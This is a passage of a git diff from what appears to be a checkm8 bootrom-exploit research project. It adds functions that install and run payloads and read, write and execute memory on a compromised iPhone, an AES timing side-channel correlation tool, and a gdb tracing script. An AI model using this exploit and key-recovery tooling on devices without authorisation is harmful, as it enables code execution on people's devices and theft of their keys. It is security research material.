    return CHECKM8_SUCCESS;
 }

+int uninstall_all_payloads(struct pwned_device *dev)
+{
+    checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
+    int ret;
+    while(dev->inst_pl != NULL)
+    {
+        ret = uninstall_payload(dev, dev->inst_pl->type);
+        if(IS_CHECKM8_FAIL(ret))
+        {
+            checkm8_debug_indent("\terror while uninstalling\n");
+            return ret;
+        }
+    }
+
+    return CHECKM8_SUCCESS;
+}
+
+DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
+{
+    struct payload *pl = dev_retrieve_payload(dev, p);
+    if(pl == NULL)
+    {
+        return DEV_PTR_NULL;
+    }
+    else
+    {
+        return pl->install_base;
+    }
+}
+
 struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
 {
-    checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
+    checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
+                         dev, p, response_len, nargs);
    int i;
    struct dev_cmd_resp *resp;
    struct payload *pl;
@@ -202,19 +355,215 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
    return dev_exec(dev, response_len, nargs + 1, args);
 }

-struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len)
+unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
+{
+    checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
+                         dev, p, bufsize, bufsize, nargs);
+    int i;
+    struct dev_cmd_resp *resp;
+    struct payload *pl;
+    DEV_PTR_T buf_addr;
+    unsigned long long buf_args[nargs], task_args[5];
+
+    if((pl = dev_retrieve_payload(dev, p)) == NULL)
+    {
+        checkm8_debug_indent("\tpayload is not installed\n");
+        return DEV_PTR_NULL;
+    }
+
+    checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
+    if(bufsize < nargs * sizeof(unsigned long long))
+    {
+        checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
+        bufsize = nargs * sizeof(unsigned long long);
+    }
+
+    buf_addr = get_address(dev, SRAM, bufsize);
+    if(buf_addr == DEV_PTR_NULL)
+    {
+        checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
+        return DEV_PTR_NULL;
+    }
+
+    va_list arg_list;
+    va_start(arg_list, nargs);
+    for(i = 0; i < nargs; i++)
+    {
+        buf_args[i] = va_arg(arg_list, unsigned long long);
+        checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
+    }
+    va_end(arg_list);
+
+    resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        checkm8_debug_indent("\tfailed to write args to shared buffer\n");
+        if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
+        {
+            checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
+        }
+
+        free_dev_cmd_resp(resp);
+        return DEV_PTR_NULL;
+    }
+
+    task_args[0] = ADDR_TASK_NEW;
+    task_args[1] = 0x10001943b; // todo: name pointer
+    task_args[2] = pl->install_base;
+    task_args[3] = buf_addr;
+    task_args[4] = 0x4000;
+
+    resp = dev_exec(dev, 0, 5, task_args);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        checkm8_debug_indent("\tfailed to create a new task\n");
+        if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
+        {
+            checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
+        }
+
+        free_dev_cmd_resp(resp);
+        return DEV_PTR_NULL;
+    }
+
+    pl->async_base = resp->retval;
+    free_dev_cmd_resp(resp);
+    return buf_addr;
+}
+
+int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
+{
+    checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
+    struct payload *pl;
+    struct dev_cmd_resp *resp;
+    unsigned long long args[2];
+    int retval;
+
+    if((pl = dev_retrieve_payload(dev, p)) == NULL)
+    {
+        checkm8_debug_indent("\tpayload is not installed!\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
+    if(pl->async_base == DEV_PTR_NULL)
+    {
+        checkm8_debug_indent("\tasync payload is not set up correctly!\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
+    args[0] = ADDR_TASK_RUN;
+    args[1] = pl->async_base;
+
+    resp = dev_exec(dev, 0, 2, args);
+    retval = resp->ret;
+    free_dev_cmd_resp(resp);
+
+    return retval;
+}
+
+int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
+{
+    checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
+    struct payload *pl;
+    struct dev_cmd_resp *resp;
+    unsigned long long args[2];
+
+    if((pl = dev_retrieve_payload(dev, p)) == NULL)
+    {
+        checkm8_debug_indent("\tpayload is not installed\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
+    if(pl->async_base == DEV_PTR_NULL)
+    {
+        checkm8_debug_indent("\tasync payload is not set up correctly\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
+    args[0] = ADDR_TASK_FREE;
+    args[1] = pl->async_base;
+
+    resp = dev_exec(dev, 0, 2, args);
+    pl->async_base = DEV_PTR_NULL;
+
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        checkm8_debug_indent("\tfailed to kill payload\n");
+        free_dev_cmd_resp(resp);
+        return CHECKM8_FAIL_XFER;
+    }
+
+    free_dev_cmd_resp(resp);
+    if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
+    {
+        checkm8_debug_indent("\tfailed to free shared buffer\n");
+        return CHECKM8_FAIL_XFER;
+    }
+
+    return CHECKM8_SUCCESS;
+}
+
+DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
+{
+    checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
+    struct dev_cmd_resp *resp;
+    DEV_PTR_T addr = get_address(dev, loc, len);
+
+    if(addr == DEV_PTR_NULL)
+    {
+        checkm8_debug_indent("\tfailed to get an address\n");
+        return DEV_PTR_NULL;
+    }
+
+    checkm8_debug_indent("\twriting data to address %X\n", addr);
+    resp = dev_write_memory(dev, addr, data, len);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        checkm8_debug_indent("\tfailed to write data\n");
+        return -1;
+    }
+
+    free_dev_cmd_resp(resp);
+    return addr;
+}
+
+int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
+{
+    checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
+    return free_address(dev, SRAM, addr);
+}
+
+int uninstall_all_data(struct pwned_device *dev)
+{
+    checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
+    int retval;
+
+    while(dev->inst_data != NULL)
+    {
+        retval = uninstall_data(dev, dev->inst_data->addr);
+        if(IS_CHECKM8_FAIL(retval))
+        {
+            checkm8_debug_indent("\terror while uninstalling data\n");
+            return retval;
+        }
+    }
+
+    return CHECKM8_SUCCESS;
+}
+
+struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
 {
    checkm8_debug_indent("read_gadget(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
    return dev_read_memory(dev, addr, len);
 }

-struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len)
+struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len)
 {
    checkm8_debug_indent("write_gadget(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
    return dev_write_memory(dev, addr, data, len);
 }

-struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...)
+struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...)
 {
    checkm8_debug_indent("execute_gadget(dev = %p, addr = %lx, nargs = %i)\n", dev, addr, nargs);
    int i;
--- a/c8_remote/src/usb_helpers.c
+++ b/c8_remote/src/usb_helpers.c
@@ -1,4 +1,4 @@
-#include "usb_helpers.h"
+#include "tool/usb_helpers.h"

 #ifdef WITH_ARDUINO

@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
                // get the size of this chunk
                size = 0;
                ard_read(dev, (unsigned char *) &size, 2);
+                if(size > ARD_BUF_SIZE)
+                {
+                    checkm8_debug_indent("\treceived bad chunk size %i\n", size);
+                    return CHECKM8_FAIL_XFER;
+                }
+
                checkm8_debug_indent("\treceiving data chunk of size %i\n", size);

                ard_read(dev, (unsigned char *) &data[amount], size);
--- a/include/checkm8_config.h
+++ b/include/checkm8_config.h
@@ -3,7 +3,7 @@

 #define CHECKM8_LOGGING

-#define WITH_ARDUINO
+//#define WITH_ARDUINO
 #define ARDUINO_DEV "/dev/ttyACM0"
 #define ARDUINO_BAUD 115200

--- a/tools/CMakeLists.txt
+++ b/tools/CMakeLists.txt
@@ -0,0 +1,14 @@
+cmake_minimum_required(VERSION 3.10)
+project(tools C)
+
+set(CMAKE_C_STANDARD 99)
+set(CMAKE_C_FLAGS "-g -Wall -fopenmp")
+
+include_directories(include)
+
+add_executable(tool_strip  correlation/strip/main.c)
+add_executable(tool_analyze correlation/analyze/main.c)
+add_executable(tool_verify correlation/verify/main.c)
+
+target_link_libraries(tool_analyze host_crypto mpi m)
+target_link_libraries(tool_verify host_crypto m)
--- a/tools/correlation/analyze/analyze.sh
+++ b/tools/correlation/analyze/analyze.sh
@@ -0,0 +1,35 @@
+#!/bin/bash
+
+#SBATCH -J correlate
+#SBATCH -o corr.%j.out
+#SBATCH -N 8
+#SBATCH -n 8
+#SBATCH -t 01:30:00
+#SBATCH -p broadwell
+
+NODEFILE=nodefile.txt
+rank=0
+
+echo $SLURM_NODELIST | tr -d c | tr -d [ | tr -d ] | perl -pe 's/(\d+)-(\d+)/join(",",$1..$2)/eg' | awk 'BEGIN { RS=","} { print "c"$1 }' > $NODEFILE
+
+for node in `cat $NODEFILE`; do
+  ssh -n $node "[[ ! -f /tmp/ghaas/KEY ]] || mkdir -p /tmp/ghaas/ && tar -xf /home/ghaas/correlate/data00.tar.gz -C /tmp/ghaas" & pid[$rank]=$!
+  (( rank++ ))
+done
+
+rank=0
+for node in `cat $NODEFILE`; do
+  echo "waiting on" $rank
+  wait ${pid[$rank]}
+  (( rank++ ))
+done
+
+prun ./analyze /tmp/ghaas
+
+rank=0
+for node in `cat $NODEFILE`; do
+  ssh -n $node "rm -r /tmp/ghaas" & pid[$rank]=$!
+  (( rank++ ))
+done
+
+rm $NODEFILE
--- a/tools/correlation/analyze/main.c
+++ b/tools/correlation/analyze/main.c
@@ -0,0 +1,323 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+#include <sys/stat.h>
+
+#include <mpich/mpi.h>
+#include <omp.h>
+#include "host_crypto.h"
+
+#define N_FILES         48
+#define N_NODES         8
+#define FILE_PER_NODE   (N_FILES / N_NODES)
+#define MSG_SEPARATE    1024 * 256
+
+#define ANALYZE_DEBUG   1
+
+int read_data(unsigned char *dst, char *fname, unsigned int offset, unsigned int num)
+{
+    unsigned long ret;
+    FILE *datafile = fopen(fname, "rb");
+
+    if(ANALYZE_DEBUG)
+        printf("read_data(dst = %p, fname = %s, offset = %i, num = %i)\n", dst, fname, offset, num);
+
+    if(datafile == NULL)
+    {
+        printf("failed to open datafile %s\n", fname);
+        return -1;
+    }
+
+    ret = fread(&dst[offset], 1, num, datafile);
+    if(ret != num)
+    {
+        printf("reading %s failed with ferror %i, feof %i\n",
+               fname, ferror(datafile), feof(datafile));
+        return -1;
+    }
+
+    fclose(datafile);
+    return 0;
+}
+
+struct summary_stats
+{
+    double mean;
+    double stddev;
+};
+
+struct summary_stats *calculate_stats(unsigned char *data,
+                                      unsigned int len, int mul, int offset,
+                                      int rank, int nodes)
+{
+    int i;
+    double mean = 0, stddev = 0, temp;
+
+    struct summary_stats *res;
+    MPI_Status status;
+
+    /*
+     * First calculate the mean
+     */
+
+#pragma omp parallel for num_threads(32) default(none)  \
+            firstprivate(len, mul, offset)              \
+            shared(data)                                \
+            reduction(+:mean)
+    for(i = 0; i < len; i++)
+        mean += (double) data[mul * i + offset];
+
+    if(rank == 0)
+    {
+        for(i = 1; i < nodes; i++)
+        {
+            MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
+            mean += temp;
+        }
+
+        mean /= (len * nodes);
+        for(i = 1; i < nodes; i++)
+            MPI_Send(&mean, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
+    }
+    else
+    {
+        MPI_Sendrecv_replace(&mean, 1, MPI_DOUBLE,
+                             0, 0, 0, 0,
+                             MPI_COMM_WORLD, &status);
+    }
+
+    /*
+     * Then the standard deviation
+     */
+
+#pragma omp parallel for num_threads(32) default(none)  \
+            firstprivate(len, mul, offset, mean)        \
+            shared(data)                                \
+            reduction(+:stddev)
+    for(i = 0; i < len; i++)
+        stddev += pow(data[mul * i + offset] - mean, 2);
+
+    if(rank == 0)
+    {
+        for(i = 1; i < nodes; i++)
+        {
+            MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
+            stddev += temp;
+        }
+
+        stddev = sqrt(stddev / (len * nodes));
+        for(i = 1; i < nodes; i++)
+            MPI_Send(&stddev, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
+    }
+    else
+    {
+        PMPI_Sendrecv_replace(&stddev, 1, MPI_DOUBLE,
+                              0, 0, 0, 0,
+                              MPI_COMM_WORLD, &status);
+    }
+
+    res = malloc(sizeof(struct summary_stats));
+    res->mean = mean;
+    res->stddev = stddev;
+    return res;
+}
+
+int main(int argc, char *argv[])
+{
+    int i, j;
+    unsigned int i_byte, i_input, i_key, i_key_split;
+    unsigned int trace_per_file = 0, msg_per_file = 0, num_traces = 0;
+    int rank, nodes;
+
+    char timing_name[256], msg_name[256];
+    struct stat timing_finfo, msg_finfo;
+
+    FILE *keyfile;
+    struct aes_constants *c;
+    unsigned char key[16], key_sched[176], msg_new[16], key_hyp;
+
+    double cov, pearson, temp;
+    struct summary_stats *timing_stats, *model_stats;
+    unsigned char *msg = NULL, *timings = NULL, *model = NULL;
+
+    MPI_Status status;
+
+    if(argc != 2)
+    {
+        printf("usage: analyze [data dir]\n");
+        return -1;
+    }
+
+    /*
+     * First, read in the data from each file
+     */
+
+    if(ANALYZE_DEBUG)
+        printf("initializing MPI\n");
+
+    MPI_Init(&argc, &argv);
+    MPI_Comm_rank(MPI_COMM_WORLD, &rank);
+    MPI_Comm_size(MPI_COMM_WORLD, &nodes);
+
+    if(ANALYZE_DEBUG)
+        printf("getting initial sizes\n");
+
+    sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank);
+    sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank);
+
+    if(stat(timing_name, &timing_finfo) != 0)
+    {
+        printf("failed to stat %s\n", timing_name);
+        return -1;
+    }
+
+    if(stat(msg_name, &msg_finfo) != 0)
+    {
+        printf("failed to stat %s\n", msg_name);
+        return -1;
+    }
+
+    trace_per_file = timing_finfo.st_size;
+    msg_per_file = msg_finfo.st_size / 16;
+    num_traces = trace_per_file * FILE_PER_NODE;
+
+    if(ANALYZE_DEBUG)
+        printf("%i traces per file, %i msgs per file, %i total traces\n",
+               trace_per_file, msg_per_file, num_traces);
+
+    sprintf(timing_name, "%s/KEY", argv[1]);
+    keyfile = fopen(timing_name, "r");
+    if(keyfile == NULL)
+    {
+        printf("failed to open key file\n");
+        return -1;
+    }
+
+    for(i = 0; i < 16; i++)
+    {
+        fread(key_sched, 1, 2, keyfile);
+        key_sched[2] = 0;
+        key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
+    }
+
+    fclose(keyfile);
+
+    if(ANALYZE_DEBUG)
+        printf("allocating memory\n");
+
+    // allocate memory (big!)
+    model = malloc(64 * num_traces);
+    msg = malloc(16 * num_traces);
+    timings = malloc(num_traces);
+
+    c = get_constants();
+    expand_key(key, key_sched, 11, c);
+
+    if(ANALYZE_DEBUG)
+        printf("beginning data read stage\n");
+
+    for(i = 0; i < FILE_PER_NODE; i++)
+    {
+        sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
+        sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
+
+        read_data(timings, timing_name, trace_per_file * (i % FILE_PER_NODE), trace_per_file);
+        read_data(msg, msg_name, msg_per_file * (i % FILE_PER_NODE), msg_per_file);
+    }
+
+    /*
+     * Then expand the messages so that we can create power models
+     */
+
+    if(ANALYZE_DEBUG)
+        printf("beginning data expand stage\n");
+
+#pragma omp parallel for num_threads(32) default(none)  \
+            firstprivate(key_sched, msg_per_file)       \
+            private(msg_new, j)                         \
+            shared(msg, c)
+    for(i = 0; i < FILE_PER_NODE * msg_per_file; i++)
+    {
+        memcpy(&msg[i * MSG_SEPARATE], &msg[i], 16);
+        memcpy(msg_new, &msg[i * MSG_SEPARATE], 16);
+
+        for(j = 0; j < MSG_SEPARATE - 1; j++)
+        {
+            aes128_encrypt_ecb(msg_new, 16, key_sched, c);
+            memcpy(&msg[i * MSG_SEPARATE + j + 1], msg_new, 16);
+        }
+
+        aes128_encrypt_ecb(msg_new, 16, key_sched, c);
+        for(j = 0; j < 16; j++)
+        {
+            if(msg_new[j] != msg[(i + 1) * MSG_SEPARATE - 16 + j])
+            {
+                break;
+            }
+        }
+    }
+
+    /*
+     * Start iterating through the byte positions
+     */
+
+    timing_stats = calculate_stats(timings, num_traces, 1, 0, rank, nodes);
+    for(i_byte = 0; i_byte < 16; i_byte++)
+    {
+        for(i_key_split = 0; i_key_split < 4; i_key_split++)
+        {
+#pragma omp parallel for num_threads(32) default(none)      \
+            firstprivate(i_key_split, i_byte, num_traces)   \
+            private(key_hyp, i_input)                       \
+            shared(model, msg)                              \
+
+            for(i_key = 0; i_key < 64; i_key++)
+            {
+                key_hyp = 4 * i_key_split + i_key;
+                for(i_input = 0; i_input < num_traces; i_input++)
+                {
+                    //TODO: power model if this doesn't work
+                    model[i_key * num_traces + i_input] = (msg[i_input * 16 + i_byte] ^ key_hyp) % 64;
+                }
+            }
+
+            for(i_key = 0; i_key < 64; i_key++)
+            {
+                model_stats = calculate_stats(model, num_traces, 1, i_key * num_traces, rank, nodes);
+                cov = 0;
+
+#pragma omp parallel for num_threads(32) default(none)          \
+            firstprivate(num_traces, i_key)                     \
+            shared(model, model_stats, timings, timing_stats)   \
+            reduction(+:cov)
+
+                for(i_input = 0; i_input < num_traces; i_input++)
+                {
+                    cov += (model[i_key * num_traces + i_input] - model_stats->mean) *
+                           (timings[i_input] - timing_stats->mean);
+                }
+
+                if(rank == 0)
+                {
+                    for(i = 1; i < nodes; i++)
+                    {
+                        MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
+                        cov += temp;
+                    }
+
+                    cov /= (num_traces * nodes);
+                    pearson = cov / (model_stats->stddev * timing_stats->stddev);
+
+                    printf("%i\t%i\t%i\t%f\n", i_byte, i_key_split, i_key, pearson);
+                }
+                else
+                {
+                    MPI_Send(&cov, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
+                }
+            }
+        }
+    }
+
+    free(timing_stats);
+}
--- a/tools/correlation/strip/main.c
+++ b/tools/correlation/strip/main.c
@@ -0,0 +1,83 @@
+#include <stdio.h>
+#include <string.h>
+#include <libgen.h>
+
+struct entry
+{
+    unsigned char msg[16];
+    unsigned char pad0;
+
+    unsigned char timing;
+    unsigned char pad1[2];
+} __attribute__ ((packed));
+
+int main(int argc, char *argv[])
+{
+    FILE *infile, *timingfile, *msgfile;
+    char fname[128], c1[128], c2[128], *path, *name;
+
+    strcpy(c1, argv[1]);
+    strcpy(c2, argv[1]);
+
+    int count = 0;
+    unsigned long read;
+    struct entry e;
+
+    if(argc != 2)
+    {
+        printf("usage: strip [fname]\n");
+        return -1;
+    }
+
+    path = dirname(c1);
+    name = basename(c2);
+
+    infile = fopen(argv[1], "rb");
+    if(infile == NULL)
+    {
+        printf("failed to open file %s\n", argv[1]);
+        return -1;
+    }
+
+    sprintf(fname, "%s/timing_%s", path, name);
+    timingfile = fopen(fname, "wb");
+    if(timingfile == NULL)
+    {
+        printf("failed to open timing output\n");
+        return -1;
+    }
+
+    sprintf(fname, "%s/msg_%s", path, name);
+    msgfile = fopen(fname, "wb");
+    if(msgfile == NULL)
+    {
+        printf("failed to open message output\n");
+        return -1;
+    }
+
+    while(!(ferror(infile) || feof(infile)))
+    {
+        read = fread(&e, sizeof(struct entry), 1, infile);
+        if(read != 1)
+            break;
+
+        fwrite(&e.timing, 1, 1, timingfile);
+        if(count % (1024 * 256) == 0)
+        {
+            fwrite(&e.msg, 16, 1, msgfile);
+            printf("stripped %i entries\n", count);
+        }
+
+        count++;
+    }
+
+    printf("strip finished with ferror %i feof %i\n", ferror(infile), feof(infile));
+
+    fflush(timingfile);
+    fflush(msgfile);
+
+    fclose(infile);
+    fclose(timingfile);
+    fclose(msgfile);
+    return 0;
+}
--- a/tools/correlation/verify/main.c
+++ b/tools/correlation/verify/main.c
@@ -0,0 +1,147 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <math.h>
+
+#include "host_crypto.h"
+
+int main(int argc, char *argv[])
+{
+    int b, i, j, k, l, num;
+
+    unsigned char timing;
+    unsigned char msg[16];
+    unsigned char key[16];
+    unsigned char key_sched[176];
+    struct aes_constants *c;
+
+    double t[16][256];
+    double tsq[16][256];
+    double tnum[16][256];
+    double u[16][256];
+    double udev[16][256];
+    double taverage;
+    unsigned long long count = 0, ttotal = 0;
+
+    FILE *keyfile, *msgfile, *timefile, *outfile;
+    char timing_name[256], msg_name[256], linebuf[256];
+
+    if(argc != 2)
+    {
+        printf("usage: verify [data dir]\n");
+        return -1;
+    }
+
+    sprintf(timing_name, "%s/KEY", argv[1]);
+    keyfile = fopen(timing_name, "r");
+    if(keyfile == NULL)
+    {
+        printf("failed to open key file\n");
+        return -1;
+    }
+
+    for(i = 0; i < 16; i++)
+    {
+        fread(key_sched, 1, 2, keyfile);
+        key_sched[2] = 0;
+        key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
+    }
+
+    fclose(keyfile);
+
+    c = get_constants();
+    expand_key(key, key_sched, 11, c);
+
+    for(i = 0; i < 46; i++)
+    {
+        num = 0;
+        sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], i);
+        sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], i);
+
+        msgfile = fopen(msg_name, "rb");
+        if(msgfile == NULL)
+        {
+            printf("failed to open msgfile %s\n", msg_name);
+            return -1;
+        }
+
+        timefile = fopen(timing_name, "rb");
+        if(timefile == NULL)
+        {
+            printf("failed to open timing file %s\n", timing_name);
+            return -1;
+        }
+
+        printf("file %i\n", i);
+
+        for(j = 0; j < 375; j++)
+        {
+            fread(msg, 16, 1, msgfile);
+            fread(&timing, 1, 1, timefile);
+
+            printf("%i\t", num++);
+            for(k = 0; k < 16; k++)
+                printf("%02X", msg[k]);
+
+            for(k = 0; k < 1024 * 256; k++)
+            {
+                for(l = 0; l < 16; l++)
+                {
+                    t[l][msg[l]] += timing;
+                    tsq[l][msg[l]] += (timing * timing);
+                    tnum[l][msg[l]] += 1;
+
+                    count++;
+                    ttotal += timing;
+                }
+
+                fread(&timing, 1, 1, timefile);
+                aes128_encrypt_ecb(msg, 16, key_sched, c);
+            }
+
+            printf(" -> ");
+            for(k = 0; k < 16; k++)
+                printf("%02X", msg[k]);
+            printf("\n");
+        }
+
+        fclose(msgfile);
+        fclose(timefile);
+    }
+
+    taverage = ttotal / (double) count;
+
+    for(j = 0; j < 16; j++)
+    {
+        for(b = 0; b < 256; b++)
+        {
+            u[j][b] = t[j][b] / tnum[j][b];
+            udev[j][b] = tsq[j][b] / tnum[j][b];
+            udev[j][b] -= u[j][b] * u[j][b];
+            udev[j][b] = sqrt(udev[j][b]);
+        }
+    }
+
+    sprintf(linebuf, "dat_%lli.dat", count / 16 / 100000);
+    outfile = fopen(linebuf, "w+");
+    if(outfile == NULL)
+    {
+        printf("failed to open data file\n");
+        return -1;
+    }
+
+    for(j = 0; j < 16; j++)
+    {
+        for(b = 0; b < 256; b++)
+        {
+            sprintf(linebuf,
+                    "%2d %3d %lli %f %f %f %f\n",
+                    j, b, (long long) tnum[j][b],
+                    u[j][b], udev[j][b],
+                    u[j][b] - taverage, udev[j][b] / sqrt(tnum[j][b]));
+            fputs(linebuf, outfile);
+        }
+    }
+
+    fclose(outfile);
+}
--- a/tools/include/host_crypto.h
+++ b/tools/include/host_crypto.h
@@ -0,0 +1,20 @@
+#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
+#define CHECKM8_TOOL_HOST_CRYPTO_H
+
+struct aes_constants
+{
+    unsigned char sbox[16][16];
+    unsigned char rc_lookup[11];
+    unsigned char mul2[256];
+    unsigned char mul3[256];
+} __attribute__ ((packed));
+
+void expand_key(unsigned char key[16], unsigned char key_sched[176],
+                int n, struct aes_constants *c);
+
+void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
+                        unsigned char key_sched[176], struct aes_constants *c);
+
+struct aes_constants *get_constants();
+
+#endif //CHECKM8_TOOL_HOST_CRYPTO_H
--- a/tools/scripts/chroot-pi.sh
+++ b/tools/scripts/chroot-pi.sh
--- a/tools/scripts/enable_wireshark_usb.sh
+++ b/tools/scripts/enable_wireshark_usb.sh
--- a/tools/scripts/iphone.rules
+++ b/tools/scripts/iphone.rules
--- a/tools/scripts/profile.py
+++ b/tools/scripts/profile.py
@@ -0,0 +1,111 @@
+import gdb
+
+def val_from_sym(name):
+    print 'getting value for %s' % name
+
+    try:
+        if name == 'wzr' or name == 'xzr':
+            return '0'
+
+        elif name[0] == '#':
+            return name
+
+        elif name[0] in ['x', 'w']:
+            return '0x{:x}'.format(int(gdb.selected_frame().read_register(name)))
+
+        else:
+            return None
+
+    except:
+        return 'val?'
+
+
+class Profile(gdb.Command):
+    def __init__(self):
+        super(Profile, self).__init__("profile", gdb.COMMAND_USER)
+
+    def invoke(self, args, from_tty):
+        argv = gdb.string_to_argv(args)
+        if len(argv) != 1:
+            raise gdb.GdbError("Usage: profile [fname]")
+
+        arch = gdb.selected_frame().architecture()
+        instr_type = gdb.lookup_type("unsigned int").pointer()
+
+        next_dest = None
+        stack = []
+
+        outfile = open(argv[0], "a+")
+
+        while True:
+            if next_dest is not None:
+                outfile.write('\tdest %s\n' % val_from_sym(next_dest))
+                next_dest = None
+
+            addr = gdb.selected_frame().read_register("pc")
+            instr = arch.disassemble(int(str(addr), 16))[0]['asm']
+            if instr == '.inst\t0x00000000 ; undefined':
+                break
+
+            instr_spl = instr.split()
+
+            mnem = instr_spl[0]
+            dest = None
+            arg1 = None
+            arg2 = None
+
+            outfile.write('\n%s\t%s\n' % (addr, instr))
+            if len(instr_spl) > 1:
+                dest = instr_spl[1].strip(',')
+
+            if len(instr_spl) > 2:
+                arg1 = instr_spl[2].strip(',')
+
+            if len(instr_spl) > 3:
+                arg2 = instr_spl[3].strip(',')
+
+            if mnem == 'bl' or mnem == 'blr':
+                outfile.write('\tentering %s\n' % dest)
+                stack.append(dest)
+
+                outfile.write('\targs: [')
+                for reg in ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7']:
+                    outfile.write('%s, ' % val_from_sym(reg))
+                outfile.write(']\n')
+
+            elif mnem == 'ret':
+                if len(stack) > 0:
+                    outfile.write('\tfinished %s\n' % stack.pop())
+                else:
+                    outfile.write('\tfinished ??\n')
+
+                outfile.write('\tretval %s\n' % val_from_sym('x0'))
+
+            elif mnem == 'ldr' or mnem == 'ldp':
+                outfile.write('\tdest %s\n' % val_from_sym(dest))
+                if mnem == 'ldp':
+                    outfile.write('\tdest %s\n' % val_from_sym(arg1))
+
+            elif mnem == 'str' or mnem == 'stp':
+                outfile.write('\targ1 %s\n' % val_from_sym(dest))
+                if mnem == 'stp':
+                    outfile.write('\targ2 %s\n' % val_from_sym(arg1))
+
+            else:
+                if dest is not None and dest[0] in ['x', 'w']:
+                    next_dest = dest
+
+                if arg1 is not None:
+                    val = val_from_sym(arg1)
+                    if val is not None:
+                        outfile.write('\targ1 %s\n' % val)
+
+                if arg2 is not None:
+                    val = val_from_sym(arg2)
+                    if val is not None:
+                        outfile.write('\targ2 %s\n' % val)
+
+            gdb.execute("stepi", to_string=False)
+        outfile.close()
+
+Profile()
Author	SHA1	Message	Date
Gregor Haas	4553174961	Restructured payloads into folders	2020-03-12 12:58:50 -04:00
Gregor Haas	832009c83c	add some addresses for tasking	2020-03-12 12:58:19 -04:00
Gregor Haas	53436a5719	fix a copy/paste bug	2020-03-11 13:20:40 -04:00
Gregor Haas	621debcea3	Improve heap fixing (works now to get iBoot!)	2020-03-10 20:31:31 -04:00
Gregor Haas	d77df9b994	Reorder AES data	2020-03-10 20:31:03 -04:00
Gregor Haas	e844e2df34	Add a tool to verify that pairwise data maps to bernstein	2020-03-07 18:44:13 -05:00
Gregor Haas	4b361cccea	correlation bugfixes	2020-03-05 10:28:05 -05:00
Gregor Haas	4de34e213e	finish batch script	2020-03-03 16:13:04 -05:00
Gregor Haas	c058278f6f	Add tool to analyze data	2020-03-03 16:04:39 -05:00
